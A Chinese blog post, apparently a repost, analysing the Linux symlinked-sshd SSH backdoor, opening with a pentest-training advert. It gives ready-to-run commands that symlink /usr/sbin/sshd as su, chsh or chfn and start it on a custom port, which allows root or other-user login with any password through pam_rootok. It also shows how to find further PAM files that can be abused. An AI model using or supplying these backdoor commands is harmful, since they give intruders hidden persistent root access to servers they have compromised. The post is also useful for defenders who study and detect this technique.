Linux软连接ssh后门之我见
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
0x00 前言
学习了Sevck发表Linux软连接后门的《一条命令引发的思考》,还是存在几个疑惑点,仔细探究之后就有了这篇文章
0x01简单回顾
一、Linux经典软连接后门命令
1.在被控制端执行:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345建立sshd的软连接
2.本地客户端执行:
ssh root@x.x.x.x -p 12345接着输入任意密码就可以root用户权限登陆了
实际测试中发现,如果root用户被禁止登陆时此方式不能直接登陆,但是可以利用其他存在的用户身份登陆,如:
ssh ubuntu@x.x.x.x -p 12345接着输入任意密码就可以ubuntu用户权限登陆了
二、后门原理
在sshd服务配置运行PAM认证的前提下,PAM配置文件中控制标志为sufficient时只要pam_rootok模块检测uid为0(root)即可成功认证登陆
0x02疑惑与探究
1.不建立链接直接启动/usr/sbin/sshd是否也能任意密码登陆
针对这个疑惑很容易验证,被控端执行命令
/usr/sbin/sshd -oport=12345

客户端ssh root:任意密码@x.x.x.x 12345
登录失败
实践结果表明不能通过直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门
2.sshd是否允许PAM认证对后门是否有影响
修改/etc/ssh/sshd_config
修改设置UsePAM no
实践表明通过软连接文件名指定ssh的pam配置文件为hacker,只要文件中包含auth sufficient pam_rootok.so
即可无密码登陆
最后在etc/pam.d/
目录下查找包含pam_rootok.so
配置的文件
find ./ |xargs grep “pam_rootok” |
在笔者的测试环境下还有”chsh”、”chfn”包含pam_rootok.so
被控端执行:
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12346 ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12347 |
客户端ssh root:任意密码@x.x.x.x 12346
仍然认证成功
客户端ssh root:任意密码@x.x.x.x 12347
仍然认证成功

0x03小结
- Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
- 如果被控主机不允许root登陆可用其他已存在用户登陆
- 通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在
/etc/pam.d/
目录下寻找对应的PAM配置文件(如:/etc/pam.d/su) - 任意密码登陆的核心是
auth sufficient pam_rootok.so
,只要PAM配置文件中包含此配置即可SSH任意密码登陆,实践表明,可成功利用的PAM配置文件除了su还有chsh、chfn
本文来自http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/,经授权后发布,本文观点不代表立场,转载请联系原作者。